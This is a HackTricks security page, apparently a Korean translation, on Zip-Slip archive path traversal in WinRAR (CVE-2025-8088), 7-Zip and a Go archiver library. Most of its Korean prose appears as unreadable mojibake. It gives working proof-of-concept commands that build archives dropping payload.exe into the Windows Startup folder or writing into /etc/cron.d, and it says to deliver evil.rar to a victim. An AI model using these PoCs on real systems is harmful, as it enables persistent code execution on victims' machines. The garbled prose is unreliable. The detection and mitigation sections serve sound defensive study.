Archive Extraction Path Traversal (โZip-Slipโ / WinRAR CVE-2025-8088)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
๋ง์ ์์นด์ด๋ธ ํ์(ZIP, RAR, TAR, 7-ZIP ๋ฑ)์ ๊ฐ ํญ๋ชฉ์ด ์์ฒด ๋ด๋ถ ๊ฒฝ๋ก๋ฅผ ๊ฐ์ง ์ ์์ต๋๋ค. ์ถ์ถ ์ ํธ๋ฆฌํฐ๊ฐ ๊ทธ ๊ฒฝ๋ก๋ฅผ ๋ฌด๋นํ์ ์ผ๋ก ์ ๋ขฐํ๋ฉด, ..์ ํฌํจํ๊ฑฐ๋ ์ ๋ ๊ฒฝ๋ก(์: C:\Windows\System32\)์ธ ์กฐ์๋ ํ์ผ๋ช
์ด ์ฌ์ฉ์๊ฐ ์ ํํ ๋๋ ํฐ๋ฆฌ ๋ฐ์ ์ฐ์ฌ์ง ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ฑ ๊ณ์ด์ ๋๋ฆฌ Zip-Slip ๋๋ archive extraction path traversal๋ก ์๋ ค์ ธ ์์ต๋๋ค.
๊ฒฐ๊ณผ๋ ์์์ ํ์ผ ๋ฎ์ด์ฐ๊ธฐ๋ถํฐ Windows Startup ํด๋์ ๊ฐ์ ์๋ ์คํ ์์น์ ํ์ด๋ก๋๋ฅผ ๋ฐฐ์นํ์ฌ ์ง์ **remote code execution (RCE)**์ ๋ฌ์ฑํ๋ ๊ฒ๊น์ง ๋ค์ํฉ๋๋ค.
๊ทผ๋ณธ ์์ธ
- ๊ณต๊ฒฉ์๋ ํ๋ ์ด์์ ํ์ผ ํค๋์ ๋ค์์ ํฌํจํ๋๋ก ์์นด์ด๋ธ๋ฅผ ๋ง๋ญ๋๋ค:
- ์๋ ๊ฒฝ๋ก ํ์ ์ํ์ค (
..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe) - ์ ๋ ๊ฒฝ๋ก (
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe) - ๋๋ ๋์ ๋๋ ํฐ๋ฆฌ ๋ฐ์ผ๋ก ํด์๋๋ ์กฐ์๋ symlinks(์ฃผ๋ก nix์ ZIP/TAR์์ ํํจ).
- ํผํด์๋ ์๋ฒ ๋๋ ๊ฒฝ๋ก๋ฅผ ์ ํํ๊ฑฐ๋ ์ ํํ ๋๋ ํฐ๋ฆฌ ์๋๋ก ๊ฐ์ ์ถ์ถํ์ง ์๊ณ ํด๋น ๊ฒฝ๋ก๋ฅผ ์ ๋ขฐ(๋๋ symlinks๋ฅผ ๋ฐ๋ผ๊ฐ)ํ๋ ์ทจ์ฝํ ๋๊ตฌ๋ก ์์นด์ด๋ธ๋ฅผ ์ถ์ถํฉ๋๋ค.
- ํ์ผ์ด ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์์น์ ๊ธฐ๋ก๋๊ณ ์์คํ ์ด๋ ์ฌ์ฉ์๊ฐ ํด๋น ๊ฒฝ๋ก๋ฅผ ํธ๋ฆฌ๊ฑฐํ ๋ ์คํ/๋ก๋๋ฉ๋๋ค.
์ค์ ์ฌ๋ก โ WinRAR โค 7.12 (CVE-2025-8088)
Windows์ฉ WinRAR( rar / unrar CLI, DLL ๋ฐ ํฌํฐ๋ธ ์์ค ํฌํจ)๋ ์ถ์ถ ์ค ํ์ผ๋ช
์ ๊ฒ์ฆํ์ง ๋ชปํ์ต๋๋ค.
๋ค์๊ณผ ๊ฐ์ ํญ๋ชฉ์ ํฌํจํ ์
์ฑ RAR ์์นด์ด๋ธ:
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
์ ํํ ์ถ๋ ฅ ๋๋ ํฐ๋ฆฌ์ ๋ฐ์ ์์นํ๊ฒ ๋์ด ์ฌ์ฉ์์ Startup ํด๋ ์์ผ๋ก ๋ค์ด๊ฐ๋๋ค. ๋ก๊ทธ์จ ํ Windows๋ ๊ทธ๊ณณ์ ์๋ ๋ชจ๋ ํญ๋ชฉ์ ์๋์ผ๋ก ์คํํ์ฌ persistent RCE๋ฅผ ์ ๊ณตํฉ๋๋ค.
PoC ์์นด์ด๋ธ ์ ์ (Linux/Mac)
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
์ฌ์ฉ๋ ์ต์ :
-epโ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์ฃผ์ด์ง ๋๋ก ์ ํํ ์ ์ฅ (์ ํ./๋ฅผ ์ ๊ฑฐํ์ง ๋ง์ธ์).
evil.rar์ ํผํด์์๊ฒ ์ ๋ฌํ๊ณ ์ทจ์ฝํ WinRAR ๋น๋๋ก ์์ถ ํด์ ํ๋๋ก ์ง์ํ์ธ์.
์ค์ ๋ก ๊ด์ฐฐ๋ ์ ์ฉ ์ฌ๋ก
ESET๋ RomCom (Storm-0978/UNC2596)์ spear-phishing ์บ ํ์ธ์ด CVE-2025-8088์ ์ ์ฉํ RAR ์์นด์ด๋ธ๋ฅผ ์ฒจ๋ถํ์ฌ customised backdoors๋ฅผ ๋ฐฐํฌํ๊ณ ransomware ์์ ์ ์ฉ์ดํ๊ฒ ํ๋ค๊ณ ๋ณด๊ณ ํ์ต๋๋ค.
์ต์ ์ฌ๋ก (2024โ2025)
7-Zip ZIP symlink traversal โ RCE (CVE-2025-11001 / ZDI-25-949)
- Bug: ZIP entries that are symbolic links were dereferenced during extraction, letting attackers escape the destination directory and overwrite arbitrary paths. User interaction is just opening/extracting the archive.
- Affected: 7-Zip 21.02โ24.09 (Windows & Linux builds). Fixed in 25.00 (July 2025) and later.
- Impact path: Overwrite
Start Menu/Programs/Startupor service-run locations โ code runs at next logon or service restart. - Quick PoC (Linux):
mkdir -p out
ln -s /etc/cron.d evil
zip -y exploit.zip evil # -y preserves symlinks
7z x exploit.zip -o/tmp/target # vulnerable 7-Zip writes to /etc/cron.d
ํจ์น๋ ๋น๋์์๋ /etc/cron.d๊ฐ ์์๋์ง ์์ผ๋ฉฐ, symlink๋ /tmp/target ๋ด๋ถ์ ๋งํฌ๋ก ์ถ์ถ๋ฉ๋๋ค.
Go mholt/archiver Unarchive() Zip-Slip (CVE-2025-3445)
- Bug:
archiver.Unarchive()follows../and symlinked ZIP entries, writing outsideoutputDir. - Affected:
github.com/mholt/archiverโค 3.5.1 (project now deprecated). - Fix: Switch to
mholt/archivesโฅ 0.1.0 or implement canonical-path checks before write. - Minimal reproduction:
// go test . with archiver<=3.5.1
archiver.Unarchive("exploit.zip", "/tmp/safe")
// exploit.zip holds ../../../../home/user/.ssh/authorized_keys
ํ์ง ํ
- Static inspection โ ์์นด์ด๋ธ ํญ๋ชฉ์ ๋์ดํ๊ณ ์ด๋ฆ์
../,..\\, ์ ๋ ๊ฒฝ๋ก (/,C:)๊ฐ ํฌํจ๋์ด ์๋์ง ๋๋ ์ถ์ถ ๋๋ ํ ๋ฆฌ ๋ฐ์ ๊ฐ๋ฆฌํค๋ symlink ํ์ ํญ๋ชฉ์ด ์๋์ง ํ๋๊ทธํฉ๋๋ค. - Canonicalisation โ
realpath(join(dest, name))๊ฐ ์ฌ์ ํdest๋ก ์์ํ๋์ง ํ์ธํ์ธ์. ๊ทธ๋ ์ง ์์ผ๋ฉด ๊ฑฐ๋ถํฉ๋๋ค. - Sandbox extraction โ ์ผํ์ฑ ๋๋ ํ ๋ฆฌ๋ก ์์ ํ ์ถ์ถ๊ธฐ(์:
bsdtar --safe --xattrs --no-same-owner, 7-Zip โฅ 25.00)๋ฅผ ์ฌ์ฉํด ์์ถ์ ํ๊ณ ๊ฒฐ๊ณผ ๊ฒฝ๋ก๊ฐ ๋๋ ํ ๋ฆฌ ๋ด๋ถ์ ๋จธ๋ฌด๋ฅด๋์ง ๊ฒ์ฆํ์ธ์. - Endpoint monitoring โ WinRAR/7-Zip/etc.์ผ๋ก ์์นด์ด๋ธ๋ฅผ ์ฐ ์งํ
Startup/Run/cron์์น์ ์ ์คํ ํ์ผ์ด ์ฐ์ด๋ ๊ฒฝ์ฐ ๊ฒฝ๋ณด๋ฅผ ๋ฐ์์ํต๋๋ค.
์ํ ๋ฐ ๊ฐํ
- Update the extractor โ WinRAR 7.13+ and 7-Zip 25.00+๋ ๊ฒฝ๋ก/์ฌ๋ณผ๋ฆญ ๋งํฌ ์ ํ๋ฅผ ๊ตฌํํฉ๋๋ค. ๋ ๋๊ตฌ ๋ชจ๋ ์๋ ์ ๋ฐ์ดํธ๋ ์ ๊ณตํ์ง ์์ต๋๋ค.
- ๊ฐ๋ฅํ ๊ฒฝ์ฐ ์์นด์ด๋ธ๋ฅผ โDo not extract pathsโ / โIgnore pathsโ ์ต์ ์ผ๋ก ์ถ์ถํ์ธ์.
- Unix์์๋ ์ถ์ถ ์ ์ ๊ถํ์ ๋ฎ์ถ๊ณ chroot/namespace๋ฅผ ๋ง์ดํธํ์ธ์; Windows์์๋ AppContainer๋ ์๋๋ฐ์ค๋ฅผ ์ฌ์ฉํ์ธ์.
- ์ปค์คํ
์ฝ๋๋ฅผ ์์ฑํ๋ ๊ฒฝ์ฐ, ์์ฑ/์ฐ๊ธฐ ์ ์
realpath()/PathCanonicalize()๋ก ์ ๊ทํํ๊ณ ๋์ ๊ฒฝ๋ก๋ฅผ ๋ฒ์ด๋๋ ํญ๋ชฉ์ ๊ฑฐ๋ถํ์ธ์.
์ถ๊ฐ ์ํฅ/์ญ์ฌ์ ์ฌ๋ก
- 2018 โ Snyk์ ๋๊ท๋ชจ Zip-Slip ๊ถ๊ณ ๋ก ๋ง์ Java/Go/JS ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ํฅ๋ฐ์.
- 2023 โ 7-Zip CVE-2023-4011,
-ao๋ณํฉ ์ค ์ ์ฌํ traversal. - 2025 โ HashiCorp
go-slug(CVE-2025-0377) slugs ๋ด TAR ์ถ์ถ traversal (v1.2์์ ํจ์น). - ์ฐ๊ธฐ ์ ์
PathCanonicalize/realpath๋ฅผ ํธ์ถํ์ง ์๋ ๋ชจ๋ ์ปค์คํ ์ถ์ถ ๋ก์ง.
References
- Trend Micro ZDI-25-949 โ 7-Zip symlink ZIP traversal (CVE-2025-11001)
- JFrog Research โ mholt/archiver Zip-Slip (CVE-2025-3445)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


